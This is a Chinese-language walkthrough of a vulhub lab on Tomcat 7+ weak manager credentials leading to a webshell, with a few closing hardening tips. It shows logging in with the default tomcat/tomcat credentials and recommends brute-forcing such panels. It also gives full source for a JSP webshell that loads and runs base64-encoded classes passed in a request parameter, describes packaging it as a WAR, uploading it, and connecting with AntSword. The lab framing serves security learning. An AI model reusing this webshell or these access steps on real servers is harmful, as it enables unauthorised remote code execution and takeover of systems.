Tomcat7+ 弱口令 && 后台getshell漏洞
🍉 === shell
此环境来自vulhub工程:
https://github.com/vulhub/vulhub
以下测试环境为ubuntu 20.04
🍉目录
- Tomcat7+ 弱口令 && 后台getshell漏洞
- 环境准备
- 弱密码登录
- war文件上传
- 蚁剑连接
- 加固
环境准备
所有漏洞环境信息查询:https://vulhub.org/
# 拉取vulhub配置
git clone https://github.com/vulhub/vulhub.git
# 切换到相应漏洞路径
cd /path/to/vul
# docker-compose部署该漏洞环境
docker-compose up -d
弱密码登录
访问http://your-ip:8080/manager/html
默认账号和密码均为tomcat,可以直接登录,当然对于一般渗透的思路,这种类型的登录框建议爆破,毕竟没有验证码或口令,同时这也是需要加固的一点
war文件上传
登录成功后,发现可以使用war文件上传,将jsp一句话木马压缩为zip文件后,后缀名在改为war,就可以上传,而且貌似也没有验证机制,什么不需要考虑什么绕过问题
jsp木马来自这篇文章
这里准备使用蚁剑连接:
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
蚁剑连接
war文件成功上传后可以发现,该框架下多了一个名为上传文件名的文件夹路径
里面存放着我们上传的jsp木马文件,可以通过访问http://your-ip:8080/passwd/passwd.jsp
访问这个木马
使用蚁剑连接:
加固
会利用就会加固
- 密码需要有字符类型要求和长度
- 增加验证码认证或口令认证等机制
- 文件上传点增加上传限制